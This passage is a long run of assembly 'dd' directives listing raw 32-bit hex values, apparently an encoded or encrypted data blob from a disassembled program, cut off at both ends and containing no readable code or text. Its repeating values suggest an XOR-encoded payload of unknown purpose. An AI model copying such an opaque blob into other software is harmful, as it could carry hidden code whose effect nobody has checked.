39B3BE81h, 7B0C600Fh, 71997307h, 0E9C7DAEDh dd 8703CD57h, 2CDBCD57h, 0FE321566h, 0DA01962Fh, 4A4C5A2h dd 140795C6h, 913DBEDEh, 88321561h, 9A8D1A06h, 75537406h dd 113211D9h, 3CC1466h, 80B1315Ah, 223AFC62h, 938C1566h dd 0DA0E8E8h, 4DDB9DE9h, 94321566h, 0DDA4D12Eh, 74800C57h dd 4B1629EFh, 223218EFh, 113AFC66h, 38001566h, 17C6FC5Eh dd 2BDB2E18h, 0D0321566h, 85596F4Eh, 0BF222CB6h, 2E1661EFh dd 11209F69h, 53D1566h, 4432156Ah, 2232128Fh, 5E5F866h dd 956CA47Eh, 7537A0EFh, 0A33D1375h, 11321575h, 88321B8Fh dd 0F279D466h, 0C2EF4F3h, 482DBCAAh, 32AF49Fh, 0CD67315Ah dd 26F79483h, 90321566h, 883211A3h, 601E9266h, 4461753Ah dd 4F9DD6DCh, 8832018Eh, 9155D66h, 0EDEF9D8Bh, 12EC748Fh dd 1201BE4Fh, 20858D2Eh, 7B5375DFh, 3506EA07h, 8CF6963Dh dd 6006EA9Ah, 26F6943Fh, 0E9321566h, 0AC06EA9Eh, 40F69638h dd 79664693h, 1136D6E7h, 4BB11566h, 602E9262h, 9CDBED3Ah dd 71CDEAB8h, 882B9269h, 50DB1566h, 52321566h, 6E46EBA2h dd 0F4F73B21h, 37F606AFh, 19300EDCh, 1EC7A061h, 883207E6h dd 443FFC66h, 0B8321566h, 1809A9C1h, 0CECC13C8h, 2548DC33h dd 0E4B37306h, 0D3B9EF1Ch, 5DB7D207h, 46340FF2h, 42321566h dd 1132188Fh, 85735766h, 1EF0C058h, 21DB84AFh, 0AF54C0C4h dd 0E8539FDDh, 44309269h, 43521566h, 4A6C4636h, 8CB34307h dd 0A2193342h, 62E9E00h, 9036D1E5h, 6E19338Dh, 5CB81A00h dd 0CB321566h, 11321575h, 0ED70D152h, 32EC9F45h, 0B04C0DDDh dd 6CB1C6AEh, 87AEEE05h, 0C4CA1BD0h, 0A13D959Fh, 1132150Bh dd 88239469h, 0C93D1566h, 2232156Dh, 1132138Fh, 12EAD866h dd 0C5152B29h, 716FD58Dh, 66F1946Ah, 8964B57Dh, 33D994ADh dd 0A364B57Dh, 426FD5A5h, 8FB31A6Ah, 4B321566h, 223214EAh dd 0EE61EC66h, 94B93162h, 40F69442h, 0CB321566h, 11321577h dd 64276F2Ch, 6B09BF14h, 4E890FE3h, 91260AA8h, 88A3FC7Fh dd 0C33D1566h, 22321567h, 3F85469Ah, 864FAE6h, 8BCC6AA9h dd 9262D298h, 3DEAE3E9h, 7E1C31C0h, 443911B6h, 0DB1A4DA1h dd 1138FC3Dh, 8ED51566h, 2B05F573h, 7493E380h, 0AA61FCE1h dd 88321566h, 99B5FE4Fh, 2DDB923Dh, 113213E6h, 0EECE7566h dd 1653E5EDh, 2232EADCh, 9AE33466h, 4CB13172h, 443CFC62h dd 0B3331566h, 2C4DFFB7h, 7E2E5C88h, 0DD9D9DA9h, 6BDEFEE7h dd 0DA1B1C51h, 0C1DEA833h, 0AF331C51h, 223BFC3Bh, 0A8C51566h dd 12F10628h, 0CF37065Eh, 3113B0E3h, 973D7560h, 88321563h dd 0F25253DCh, 0A953E054h, 22810F3h, 8822FC60h, 20621566h dd 0CD618616h, 0B8C2CDB5h, 9A32653Dh, 0F9B18A1Dh, 242114C3h dd 0F9B61A67h, 87321565h, 443214E4h, 1BC7EC66h, 0C9B01AA5h dd 61321565h, 4432156Dh, 0F8C1BBEAh, 637FFF49h, 0B1B50407h dd 0F6B01AB5h, 0DACDEA9Ch, 1131AF8Fh, 86BE1A66h, 24321566h dd 0A7FDCCE7h, 0C7B36AC5h, 9BC834D2h, 91B7D207h, 20340FF2h dd 1E321566h, 883214E2h, 0A8B3E966h, 22321562h, 901621EFh dd 0A3C23162h, 0C5692347h, 319E58Dh, 1135FC50h, 59421566h dd 0BB8F995Dh, 2C841A41h, 113B9469h, 70521566h, 3B9BC3E7h dd 0A2532DB3h, 923D959Fh, 8832153Ah, 93B9EC06h, 6CF19407h dd 902C0B7Eh, 2C3779A5h, 0C5F9144Eh, 8637798Dh, 5FD9944Eh dd 612C0B7Eh, 44321574h, 0CD4F425Ch, 0A2EC9BBh, 2D10A53Ah dd 40E6050Ah, 9F67ECFFh, 3449460Dh, 977C091h, 872154ABh dd 0F6C79414h, 10C8D2D9h, 83D488Dh, 44321567h, 0ABDBE99Fh dd 0E9321566h, 0A0CDA235h, 602E9E9Fh, 2D36D1E5h, 11320DE3h dd 8821FC66h, 0B9C31566h, 3AA192CDh, 25104C80h, 673E624Eh dd 71497574h, 228C43D9h, 90321566h, 0D26397A0h, 0C5FC3C70h dd 78639788h, 4FC39C70h, 778A459Fh, 65321566h, 6369EA7h dd 1136D1E7h, 84DB1566h, 0A9321566h, 2C54C0DCh, 0F77EF28Dh dd 0DA46BF63h, 374D44DCh, 78E1142Dh, 0FAB3DE4Fh, 0C3416A37h dd 44321A8Fh, 0B77C7666h, 87BF04Fh, 653D327Ch, 0D969A124h dd 39790EDh, 9A3D1375h, 88321567h, 41A79E9Eh, 4234067Ch dd 1EEADEE6h, 0B53C7D1h, 5733B0DBh, 0A63D1460h, 1132172Dh dd 883D9669h, 4EDB1566h, 6F321566h, 1C40F435h, 2D9B1797h dd 9C09E9C7h, 22139769h, 9E3D1566h, 8832156Ah, 4432128Fh dd 3B9FD966h, 1A13F260h, 0E3DC65Fh, 0BBCDEC63h, 22339469h dd 46CA1566h, 3B35EFD9h, 0D6D59462h, 6566F047h, 1853F2E7h dd 6FF37F49h, 65C59463h, 0B363546h, 40CE4A98h, 0E2A635h dd 0A5B24EBFh, 0D5C395D0h, 9134FCA6h, 40BA1BA7h, 0BD98E03Fh dd 2236F9E7h, 5BB1566h dd 8832AF42h, 0B6331566h, 0DA681FECh, 0A26177D6h, 8CD9D58Ah dd 97C4DE98h, 0C9B2DE98h, 4AEA3D54h, 8A06C590h, 9906DD98h dd 2232138Fh, 22817166h, 0D8647664h, 8427A734h, 0E8CC108Ch dd 0EF70DFE6h, 99F095ACh, 6468C1EEh, 2ADB4D87h, 45321566h dd 47E4F4E9h, 4CBC678Eh, 2220FCAEh, 0ADF11566h, 6A61EDD1h dd 13A4848Ah, 9B0B8E2Fh, 2DEEE80Eh, 8826FCCCh, 0CCE11566h dd 3980AB15h, 40FA35FCh, 0D2A840D7h, 8BB9217h, 9C64D326h dd 7E1D07CAh, 0A16CE64Fh, 0E8F1949Dh, 0D75D3A74h, 1136A833h dd 631B1566h, 0C51639EDh, 223211A2h, 0FDB3ED66h, 88321562h dd 171611EFh, 44524E3Eh, 0F84DAEDCh, 88321561h, 0EB0BDC54h dd 43991626h, 1134FCCDh, 0E9BA1566h, 1ECE8A29h, 2236F9E7h dd 15BB1566h, 8830AD42h, 82331566h, 223EFC3Eh, 8A131566h dd 107B1737h, 1374F598h, 97BBC31Fh, 17212463h, 2DB7D29Ah dd 45340667h, 0D7321566h, 1132108Fh, 7B5CD066h, 0CD62CC7Ch dd 22361086h, 0D1B11566h, 0AC362662h, 77161157h, 0D76E3162h dd 461609EDh, 4FB3F2EFh, 44321562h, 2236D2E7h, 2DB51566h dd 0E3D4942h, 44321567h, 63E9E9Fh, 90D59C31h, 883211A1h dd 40F59466h, 0A5321566h, 0F86E315Ah, 88321561h, 21F7B451h dd 71DCC50Ah, 0D2B3F6EFh, 88321562h, 1736D6E5h, 26166199h dd 35369A3Dh, 9CBF1A3Ah, 0AD321566h, 22321569h, 0CBAFF1F7h dd 81038CFh, 2F9E6041h, 77C7E049h, 0D4B3F0EFh, 88321562h dd 4436AB30h, 0D7331566h, 351E9238h, 8EDBEC3Ah, 0ADCDEABFh dd 22321569h, 781A33CAh, 0C44B186Ch, 0F79F1BB6h, 4A1327CCh dd 113243E1h, 771621EFh, 0BD6C316Ah, 0FAC40DD6h, 0A760C590h dd 0D2C2151Eh, 0ACF2D598h, 4225396Eh, 7CC09400h, 77851A8Bh dd 2252BF07h, 0CB779CD9h, 11321561h, 1CEFE2CEh, 255F247Eh dd 0ABC39C37h, 353E9EAEh, 8836D1E7h, 0B8C71566h, 7EEAA31h dd 0E91B4AB0h, 8DCA3C39h, 1BE430BAh, 725FAC06h, 0A63D0D49h dd 64B374BDh, 44321562h, 9B1619EFh, 11321562h, 0E86BDD4Fh dd 4432108Fh, 8B5B6C66h, 1DBF5B4h, 2D321566h, 287E40FDh dd 0FB7DDEEFh, 0DBF070DDh, 0E9160AF8h, 4437FCCDh, 21D1566h dd 41DD5DF1h, 8C374D32h, 0C7321566h, 26B511A6h, 18DB4942h dd 0E7321566h, 2D0E43ABh, 0EB911150h, 421609EDh, 4BB3F6EFh dd 44321562h, 2236D6E7h, 0DB51566h, 3CB4942h, 0CD65316Ah dd 26F59481h, 92321566h, 0B4B511A1h, 0CFC74942h, 0AB603152h dd 15F09484h, 0B321566h, 50B511A4h, 70C74942h, 0AF64F7EFh dd 0ABAC7F50h, 0C57CC391h, 8D785890h, 0FFB35308h, 3AFCCAE4h dd 0C76CE767h, 36B511A4h, 9A3D4942h, 88321567h, 9F19FC9Eh dd 2D52EA99h, 113213E5h, 88BC1A66h, 25321566h, 0B6E790A1h dd 1137137Ch, 3D1566h, 4432156Ch, 0D0B97306h, 1AF89400h dd 36474B6h, 80B3317Ah, 22321562h, 1BBF1A9Ah, 0E8321566h dd 44329F69h, 43521566h, 0AB604307h, 86327CBFh, 445BC8D8h dd 78E42468h, 716CE667h, 88321A8Fh, 96B97066h, 0F08FC4FCh dd 0BB9EEBCAh, 0BA5F03B3h, 4421FC06h, 0E3541566h, 0D1A3BBFCh dd 850E4F01h, 604BE06Dh, 7C4966D5h, 11BC1AC1h, 0E9321566h dd 448B4407h, 0A3321566h, 0F07B50A7h, 9C3143Bh, 0A57B508Fh dd 7B2B163Bh, 0C3851A06h, 75E39400h, 0C1B974BAh, 242134C3h dd 77FA9E06h, 0B0D4DAE7h, 41A79E07h, 0D734067Ch, 1133AE35h dd 561B1566h, 443BFC3Dh, 0EC5B1566h, 0EB521ED4h, 0B688244h dd 5716DCDBh, 0A63D1460h, 11321263h, 88321D8Fh, 0A7B5AE66h dd 567A535Dh, 1EEA2EB7h, 88323AE4h, 0ACB37566h, 5F7A06A3h dd 1EE82E07h, 883381E0h, 0C43DEC66h, 2232157Eh, 1132068Fh dd 9B349866h, 9ACFB73Dh, 915120A1h, 0CFC65BE6h, 171025Eh dd 7537A0EFh, 0CB521375h, 1132156Eh, 8A1B2D16h, 0B58B35D7h dd 22349E69h, 0DFB31566h, 0D58A2EA7h, 91AF9E07h, 0CB340FF2h dd 11321563h, 22F09041h, 605E944Dh, 0B143D96Ah, 3576942Ch dd 0A313516Ah, 606E1467h, 65E946Ah, 3A13516Ah, 0AC769467h dd 0D743D96Ah, 0A23D752Ch, 11321560h, 88329769h, 0A1B81566h dd 2465FC07h, 71521566h, 0CEE3AD00h, 44329769h, 9A531566h dd 758A4BF7h, 0AC0E9E07h, 0C5D49C30h, 223211A0h, 15F49666h dd 0D41621E1h, 4432068Fh, 0CA3BA866h, 0DB8CAE5Ah, 8CFD37E4h dd 0FDD51B4Ch, 0FAEA3EB8h, 11389B69h, 87521566h, 443215EEh dd 43E59E66h, 35FB90A1h, 88331375h, 4EDB1566h, 5321566h dd 0F9A212D6h, 4B0910Bh, 602E9E3Ch, 0A3D49C30h, 113211A0h dd 8CF49666h, 181621E1h, 606EA9Eh, 15F6943Fh, 61321566h dd 44321568h, 4D26A9D4h, 52E976FBh, 7F4D714Bh, 22521BCCh dd 32DBD7EDh, 0C8321566h, 894C6C89h, 0F5A954EEh, 687E9E99h dd 700D814Ch, 0D6162199h, 4436D1E7h, 0A03D1566h, 11321577h dd 88399569h, 42DB1566h, 13321566h, 50072882h, 6BBB4658h dd 4F18AC37h, 0FBC5481Bh, 0F8F3C491h, 49E3E260h, 0B5B31D8Fh dd 22CC9F69h, 926BDE67h, 94B511A5h, 14524942h, 7CC9A269h dd 0C419FC07h, 73DEA99h, 44321567h, 878F969Eh, 10340667h dd 8D0D9169h, 0AD521566h, 22321560h, 0E87EA580h, 6052D9F8h dd 4432156Ah, 124A6BFh, 1143480Bh, 3325B52Bh, 4422FC3Eh dd 78461566h, 15BDA42Dh, 9DA9700Ch, 23057DC5h, 43538D0Dh dd 3097884Dh, 86DB1375h, 0E5321566h, 0DEE94BA1h, 217ECC10h dd 2F03C766h, 0B1BF9EBBh, 0CB340678h, 1132156Ch, 0B5B53067h dd 440E0A40h, 0E3B35508h, 59116406h, 3567CC67h, 0C116406h dd 426FFC4Fh, 0F8C29E00h, 88321560h, 0FEC4B470h, 0A3536966h dd 0EB63FD8Fh, 0DDF39408h, 6D737726h, 77DB949Fh, 90737726h dd 7263FDA7h, 5BB71A08h, 42321566h, 1132048Eh, 0E365AD66h dd 0C5ECFA0Eh, 69D7165Ch, 4753E48Ch, 969A31Eh, 70BF39B5h dd 9A627463h, 30F11F90h, 0F5352963h, 61E2E21Ah, 42081C6Ah dd 1C30F5A7h, 0FD167E93h, 0A85DE553h, 7AF33C93h, 1132128Fh dd 82715766h, 5D7D1EC9h, 9F854637h, 0EC024DD3h, 74DF953Dh dd 0BC6BFDEEh, 2ADBE0CCh, 4A321566h, 78EFEE64h, 2C8E0502h dd 22320D96h, 401611EFh, 23CA4C3Eh, 42B21A06h, 0A3321566h dd 0C2E6DB8Dh, 0E9D79F25h, 0C5D09C34h, 223211A4h, 158A4566h dd 89321566h, 50B54DA4h, 0A03D4942h, 11321567h, 0AC2E9E9Fh dd 0C5D59C31h, 223211A1h, 15F59666h, 0D41629E1h, 25F59F06h dd 7B162199h, 1136D1E7h, 77CA1566h, 0C56C3152h, 223211A2h dd 113EFC66h, 2FF61566h, 2072AF50h, 41344806h, 9863FEDCh dd 8CF39487h, 13321566h, 223211D9h, 4ECB1466h, 0D41619E1h dd 44359069h, 0AA3D1566h, 11321567h, 5EFDFC9Eh, 83C7EA99h dd 38A6C0E3h, 11321760h, 8835FC66h, 0BAF81566h, 1403A644h dd 0E0BB44BAh, 616B4E37h, 4432156Bh, 0DABB2E5Ah, 11D88D43h dd 25B36EAAh, 4A841ADAh, 22339069h, 0F8CE1566h, 88321560h dd 0F61C3FC2h, 0DBB2894Dh, 6FB11AE6h, 61321566h, 44321568h dd 0D3463D8Dh, 6D83132Dh, 60F849D3h, 87B3F681h, 5142684Bh dd 5F16D6E7h, 43336793h, 0A16FEE7h, 0C9B36793h, 6242684Bh dd 63E09506h, 4ADB7493h, 4321566h, 0CEEE73E5h, 9754D1FEh dd 8A9FFE1Ah, 238847C8h, 10321566h, 9BDB4FB5h, 19321566h dd 0A72067E2h, 0B85C4E69h dd 0A219F51Fh, 0A349EFCDh, 87DB1BBAh, 71321566h, 88321E8Fh dd 0EF092366h, 9D8A11F3h, 9863E5F6h, 0DA617307h, 0A6F2FDD4h dd 21D8D565h, 0C3C4CF90h, 62B2DF98h, 1EE19D61h, 7954CC4Eh dd 11321F8Fh, 0DC3C0C66h, 0DF18AEBEh, 0A14814A6h, 0C0C5148Fh dd 88339069h, 12C71566h, 2232EAD8h, 9AC33466h, 4CB13152h dd 22647562h, 7D4D60D9h, 11379F69h, 9541566h, 25D18B95h dd 7E78A833h, 0D4B33A8Eh, 0D381782Fh, 123AD8E7h, 0E3774877h dd 0DCB31683h, 0B1E406C5h, 0F6FCF8E7h, 0C91BF1A9h, 90F93C3Bh dd 877F00A5h, 4CDB757Fh, 76321566h, 9E74DD29h, 0E9FFD425h dd 659790EDh, 0CB521375h, 11321569h, 3BFFEFEBh, 0F40970ACh dd 20C0C22Dh, 77D8A48Ah, 0E9847FDCh, 5E3780EDh, 30DB1375h dd 0BA321566h, 577AF2C1h, 0A664AE32h, 0B7659777h, 7533576Eh dd 72F4FC35h, 2252EA99h, 0A952CDEDh, 958B73B0h, 87537477h dd 443213E5h, 0FDB97566h, 0D6537406h, 92A6C0E3h, 44321760h dd 2223FC66h, 24E01566h, 5EF4A5E6h, 86CB3D70h, 2DBD57F0h dd 47FD96A3h, 571621E7h, 0CF765533h, 0E6B1317Ah, 0CEC19462h dd 70765533h, 243CA369h, 22309569h, 49641566h, 8832108Fh dd 0B56FF866h, 0A253B994h, 923D959Fh, 88321550h, 44339569h dd 75C71566h, 3112E9D9h, 0D7C9144Ch, 0AFB3DE67h, 812359Ah dd 11321C8Fh, 0C956EA66h, 6B7A42B9h, 9D65C78Eh, 11321567h dd 7D6DEE67h, 4432828Fh, 7254EC66h, 0A51EA635h, 0D3EE3D4Dh dd 1C54F44Eh, 2232068Fh, 0FD92A966h, 62666529h, 0A59C3F42h dd 0B30E0BA1h, 0D5392320h, 155A4235h, 1B0EF517h, 53AFE2E7h dd 0EABB2986h, 0FF93C39h, 0C73D4EBFh, 2232156Ah, 11349869h dd 3D1566h, 44321566h, 2236F9E7h, 25BB1566h, 88CDAB42h dd 0B5131566h, 2237FC38h, 0E7A91566h, 9F604AAh, 0E3DA6A5h dd 61D9942Ah, 384A6713h, 0CBF194ADh, 0C54A6713h, 683DA68Dh dd 113CFC2Ah, 0F05D1566h, 1A5B218Fh, 2E29B9A3h, 8AD6F2B5h dd 0A99790EDh, 0C13D1375h, 2232157Ch, 11269869h, 87DB1566h dd 0B0321566h, 0F591BF6Ch, 0DF7EDA9Ch, 600C43D9h, 0D1B94D7Dh dd 24210F63h, 0CFB97306h, 0A37AB00h, 0E18F9607h, 23340667h dd 0E66B9169h, 99DBEA99h, 14321566h, 7AD89549h, 5D9666A8h dd 34F8E6Bh, 0E231D8ACh, 2232078Fh, 31180B66h, 79336C5Eh dd 45ED4E28h, 0C3067479h, 2AE11AEBh, 9FB01ABEh, 0BC321566h dd 0A43DC65Fh, 0EECDFB6Bh, 8FB91A9Fh, 4B321566h, 223214E0h dd 0AB60E966h, 77CDEA99h, 0AD68C367h, 22321568h, 0ACAD43C8h dd 4AE10C66h, 285C219Eh, 24DB8C75h, 22321566h, 6288156Eh dd 0B1BB40CCh, 0EB9FCEFh, 15F69442h, 87321566h, 44321FE2h dd 2237FC66h, 35371566h, 9CF5199h, 8438C6A7h, 0C8F39441h dd 38299F39h, 62DB949Fh, 0C5299F39h, 0E238C68Fh, 1135FC41h dd 8CA01566h, 43FB6D29h, 26DE96C5h, 0AA1609EFh, 88321563h dd 0B169CC4Fh, 9298A437h, 397C11F5h, 0D17C39AEh, 0CC3DBF9Ah dd 22321565h, 4153ED06h, 886A040Eh, 603E9C66h, 0D7C74C3Eh dd 1139FCCDh, 0B1E1566h, 0D9CBF842h, 0EF36DD7Bh, 0C381FCEBh dd 0DBC7EA99h, 52277D31h, 0A36D1142h, 484518A9h, 0AD59435h dd 0C523086Eh, 3A1E6E81h, 11F5940Ch, 1CDFD66h, 0B7334A9Dh dd 0DE6916ECh, 953DFD5Ah, 88321520h, 4BF39E06h, 7353ECD9h dd 9F1A09DFh, 9E3E251h, 8F5C99A7h, 3288477Bh, 53760C0Ah dd 0AD90FFE7h, 951B48BAh, 7BFA9C3Ch, 11321C8Fh, 0E09C4666h dd 0DEABC2FEh, 4BDBF630h, 0F8321567h, 88321560h, 0FC08611Dh dd 0BF5A8783h, 98321545h, 86DB317Ah, 0B6321566h, 7040D182h dd 0E405A30Bh, 0D37EBF6Bh, 5ED7D93h, 16BB1566h, 9C3D4E42h dd 88321567h, 2C62479Fh, 50AC1E6Eh, 4BA7303Eh, 89075D7Fh dd 0CD720D6Ch, 0D0334DA4h, 1E680F65h, 883214E8h, 1662EC66h dd 223210DCh, 4BE29C66h, 716AD667h, 0CD36F9E5h, 0CA87316Ah dd 0F86BFDEEh, 8832156Ah, 96911C8h, 0B8D0BCBFh, 0A411CBE7h dd 3062E0CCh, 534E4F3Ch, 0B6AD64Fh, 4BF1949Dh, 8725693Ch dd 443212E5h, 23B31A66h, 0ED321566h, 8836A833h, 0AF1B1566h dd 0A11639EDh, 9A5211A2h, 29E795BCh, 0A8B34507h, 22321562h dd 491609EFh, 9788753Dh, 0AD4DBE49h, 22321561h, 22EB8291h dd 0E9E87226h, 0C55475CDh, 0CA06A4B9h, 11321574h, 83AA6ADh dd 7FBCADEBh, 6811B0E5h, 2D2879C1h, 47B2312Bh, 0CF534A69h dd 0AB62317Ah, 11361086h, 48B11566h, 60369262h, 2237FC3Ah dd 0F80A1566h, 874C4692h, 443218E4h, 223AFC66h, 3EE21566h dd 0EC548E66h, 0FC62FB58h, 22321563h, 15B9D367h, 8CF69442h dd 4B321566h, 22321DECh, 913D7566h, 88321566h, 735A4407h dd 7B13E96Eh, 7274D4E7h, 37650214h, 6E7A44FAh, 0E36DEC67h dd 0D0B3168Fh, 7BBB3D38h, 0B86BDDEFh, 0A35475A5h, 0E971F9A6h dd 95D97D07h, 48BB1566h, 28BC1A42h, 71321566h, 0AD659EDDh dd 0B6B9733Ah, 14CD7307h, 35369E00h, 8830D1E7h, 24521566h dd 22329269h, 90541566h, 0E97AF38Eh, 44319469h, 953D1566h dd 0D20E74B1h, 89649169h, 0FA521566h, 0C104490h, 78E89400h dd 8DDB74BCh, 0C7321566h, 8D86A37Eh, 953DDE5Ah, 8832145Eh dd 4BF02993h, 22337DE2h, 903DED66h, 8832156Bh, 44B51A06h dd 98321566h, 68C4B940h, 87F82907h, 443359E2h, 2223FC66h dd 83E81566h, 0C07ABCAh, 8D24FCECh, 9259CA43h, 7114957Dh dd 8DDA449Ah, 36321566h, 0B748DF60h, 77534A3Fh, 8717EA5Bh dd 44335AE2h, 0A9547566h, 12B21AB5h, 87321566h, 0AD53C5D9h dd 22321568h, 0B9CB8B3Ah, 10CE30F2h, 0E259B05Dh, 1F540535h dd 943DEA48h, 8832150Bh, 0ADC29E06h, 22321560h, 0B2C0ABD5h dd 0D953F5F9h, 443217DFh, 71C31466h, 113215DDh, 2F91466h dd 0AD6B4E65h, 2232156Dh, 2BC434DEh, 0EE9FC6B4h, 0ADE3E3B0h dd 22321560h, 0C6FD1E49h, 64B3B920h, 44321562h, 901601EFh dd 21C095A6h, 6168C546h, 44321563h, 22FDEB47h, 1E92291Dh dd 8832E1E2h, 42BC1A66h, 42321566h, 0E9C29E00h, 0AC06EA07h dd 40F6943Fh, 2D321566h, 113200ECh, 8822FC66h, 8251566h dd 138C05D0h, 85776D3Dh, 3B3B4366h, 0FF61B2A0h, 22321566h dd 0F8694D35h, 88321568h, 3307A95h, 0AE1F0EDDh, 0D8528529h dd 0E0DBE3F9h, 24321567h, 4330CAE6h, 1CDBDC57h, 0EB321566h dd 24CE5842h, 0CF2440E3h, 9645CC85h, 8833AA31h, 0BD331566h dd 223BFC39h, 354A1566h, 59B59CE6h, 0AD6FF866h, 223215E4h dd 77F09E06h, 8EBECDE7h, 44317D07h, 2EB91566h, 15F69442h dd 87321566h, 443206E5h, 223CFC66h, 9E7F1566h, 0F3ED60A6h dd 801ACE4Ch, 197C0410h, 1132588Fh, 89B81A66h, 0B1321566h dd 96656DDFh, 13D3D47Ch, 8C5EAE35h, 0B37166E6h, 57C194BDh dd 20D4BBC0h, 0EE524EBFh, 0FD0CE4DFh, 62AD5567h, 112EFC07h dd 83D1566h, 44321567h, 22357D93h, 1DB91566h, 8CF69642h dd 86B37306h, 0A954824Ah, 0B5C174A0h, 88321D8Fh, 700DCF66h dd 56C6F9F1h, 9CB9EDCBh, 8E210F63h, 42DB4406h, 32321566h dd 0ABA17C55h, 0E8524A5Dh, 443DFC07h, 0B4901566h, 4FF89704h dd 59E3F386h, 379B8DCCh, 0A753746Fh, 0FB71AAFh, 0E8321566h dd 4C57AB00h, 4352E906h, 0A4BB7407h, 8E210F63h, 44359C69h dd 0AD3D1566h, 11321567h dd 0AC3E9E9Ah, 41D29C36h, 22321562h, 11321163h, 0AC369266h dd 0CF54753Ah, 0E38D1AA1h, 5D2AD07h, 58C5375Bh, 0AC1B5653h dd 171F5558h, 470C6653h, 45785AD8h, 1AC22456h, 58F57353h dd 1DB41AF2h, 87321566h, 443213E1h, 22BC1A66h, 0D2321566h dd 88321B8Fh, 0D5FDE066h, 0C6A58991h, 0CF03DE2Dh, 0EEF5CCB5h dd 0CF542399h, 0E6B33162h, 11321564h, 3F3D7506h, 978D1A96h dd 6FD09407h, 700F0254h, 0C3DD65Ah, 443214D1h, 22339469h dd 40C71566h, 63BAD0EEh, 0C51619EDh, 223211A2h, 0A360E066h dd 3E13596h, 80B13172h, 2220FC62h, 0F591566h, 21DD9CDEh dd 0C5F0874Eh, 5BB7F950h, 342B9F72h, 8742EEE6h, 44362DE2h dd 25B81A66h, 71321566h, 373DF9ECh, 0AD0E74BDh, 23539169h dd 16DB1566h, 49321566h, 26BCB458h, 0A33D752Ch, 1132157Eh dd 8832068Fh, 0DDAAAF66h, 6E2C42D3h, 9F4DF009h, 0F148B376h dd 0B0437B5h, 0A63DFE5Ah, 11321449h, 0D765EC06h, 4BF02907h dd 223337E2h, 1126FC66h, 0D5511566h, 5C011B1h, 3F06283Bh dd 717F55FFh, 64EA1A8Ah, 8F0E7BC1h, 23339169h, 9F3D1566h dd 88321579h, 442B9F69h, 36DB1566h, 15321566h, 8C4D2E3Ch dd 0B3497FBCh, 8EC200B0h, 0BC04A72h, 0EE802CA4h, 4B17EA5Bh dd 2232C7E2h, 19B81A66h, 0E8321566h, 4BFDA269h, 1E53D3D9h dd 0ADB61AACh, 87321566h, 443214E2h, 0C10EE066h, 125D9169h dd 0EEC71566h, 4BCD3B5Bh, 223228E3h, 7960ED66h, 88321564h dd 0CEC0143Ch, 9C524F64h, 6FE57Fh, 78834407h, 48B9DD46h dd 26F69642h, 1E92299Fh, 88326FE2h, 4422FC66h, 0C4361566h dd 707B886Bh, 0D80B85D8h, 9BF96C24h, 9D654997h, 4D673CA6h dd 77D59429h, 0C560E27Bh, 773BAA91h, 3DB34236h, 9F45AB42h dd 0FA374D7Eh, 7D2A0211h, 112F9569h, 73D1566h, 44321571h dd 2232078Fh, 8C443D66h, 551153C2h, 5DCBF40Eh, 8287AD0Ch dd 0F88B3389h, 883215FAh, 44279A69h, 32DB1566h, 0D4321566h dd 0D4ECE591h, 3A66A143h, 5B3A17D0h, 98CAD8D7h, 9B2810D3h dd 0D9BFEC60h, 242B82A4h, 11229D69h, 13D1566h, 4432156Ch dd 2232108Fh, 0EA651D66h, 5BCD9876h, 442D9F69h, 0A43D1566h dd 1132157Fh, 8832018Fh, 0F9D51766h, 6B1107FEh, 7980F859h dd 689F9CAh, 10917472h, 2234FCB9h, 986D1566h, 10BF7512h dd 4436F9E7h, 3EBB1566h, 17B77D42h, 0C3696C71h, 0BD4FD6E7h dd 0FABB938Eh, 17DB753Dh, 36321566h, 48EE7816h, 68F09444h dd 700347CDh, 8835FCA5h, 278B1566h, 0DD3500F1h, 3C977D67h dd 8CBB1566h, 48B21A42h, 42321566h, 89EC47D9h, 46B37377h dd 1653970Ah, 223205DCh, 40D89466h, 8917383Bh, 15F09494h dd 0A917383Bh, 14DB4F64h, 29321566h, 592527DEh, 3F8390EFh dd 0EECB1375h, 96A3152h, 443211A2h, 2226FC66h, 0E821566h dd 0DF7B7EA0h, 50E5F8E4h, 3F6CA47Eh, 0E9393FEDh, 3260E421h dd 4432157Ah, 7745D3E7h, 0C73374EAh, 0DD45FBE7h, 0BD6874EAh dd 3B67A8EBh, 1FDB1375h, 9C321566h, 581F7E3Ch, 0E90DE21Ch dd 0E3312C93h, 8DC7B850h, 0D4276E1h, 69548563h, 35761675h dd 0EEA23842h, 0C31F062Dh, 2D7B6505h, 11321FE6h, 8837FC66h dd 29091566h, 89C7FA63h, 508F989Eh, 61340654h, 44321577h dd 9C69AACFh, 0DBCFE38Ch, 0B5EFC369h, 0A7FB39D2h, 9952B8F3h dd 11FF8897h, 8832058Eh, 40A43966h, 0F10DDA65h, 3C42EBCEh dd 51B799A5h, 4421FC17h, 832B1566h, 0E9DCBF31h, 0F8055E36h dd 9EF5380Ah, 110313ADh, 14534B5Eh, 0C51661D0h, 60165165h dd 0DDCAB30h, 0F7F34A47h, 7FECE26Eh, 0A7F494B0h, 0E32EC93Bh dd 0FFB31788h, 4A6C8B24h, 0AD6CE54Fh, 22321576h, 0E54D7EFAh dd 0BCBB0A7Fh, 5E233F2Fh, 0A0E58EC9h, 90D49C30h, 883211A0h dd 40DC9466h, 0A5321566h, 986E3152h, 98DB3162h, 6B321566h dd 5D022423h, 94E5F145h, 95489754h, 4B086E29h, 223203ECh dd 9A547566h, 8839FDACh, 572A1566h, 56A78E83h, 77B99C4Ah dd 23534D72h, 44399169h, 44521566h, 770E38D8h, 40D5D3E7h dd 958F9807h, 2D340662h, 113214EBh, 709FE966h, 7AA31h dd 0DA3314A7h, 35761639h, 0CC07384Eh, 0EFCE14A7h, 90C39F06h dd 25B9744Bh, 6ABB4742h, 4436D7E7h, 0E0B11566h, 35269262h dd 8826FC3Ah, 0BB881566h, 8D90587Ch, 0CA349095h, 0F93DEEA2h dd 38930944h, 2DDB0D63h, 0B7321566h, 0C5F81E0Ah, 0EFB9C9B4h dd 6A4C9BE3h, 71F1E3FAh, 88309C69h, 1E651566h, 2232188Eh dd 5B2D9166h, 3FACE77Dh, 1C6AD1FCh, 638C1DEAh, 497CD314h dd 6BBB4607h, 4436D6E7h, 0C9B11566h, 352E9262h, 0AC069C3Ah dd 4432198Fh, 0E7A61D66h, 0B614C09Ch, 81B5E41Eh, 46AF9814h dd 0CB340CF1h, 1132156Dh, 0AA024B7Ch, 0E75D2F43h, 0DD10E0ACh dd 0D7B375B5h, 0E775AD32h, 0B8A2FC07h, 2ADBEA99h, 8A321566h dd 0D7B8BF3Dh, 0DFA0460Eh, 6CD24ECEh, 8AFD4AA8h, 0F251A245h dd 0F8D9C0D5h, 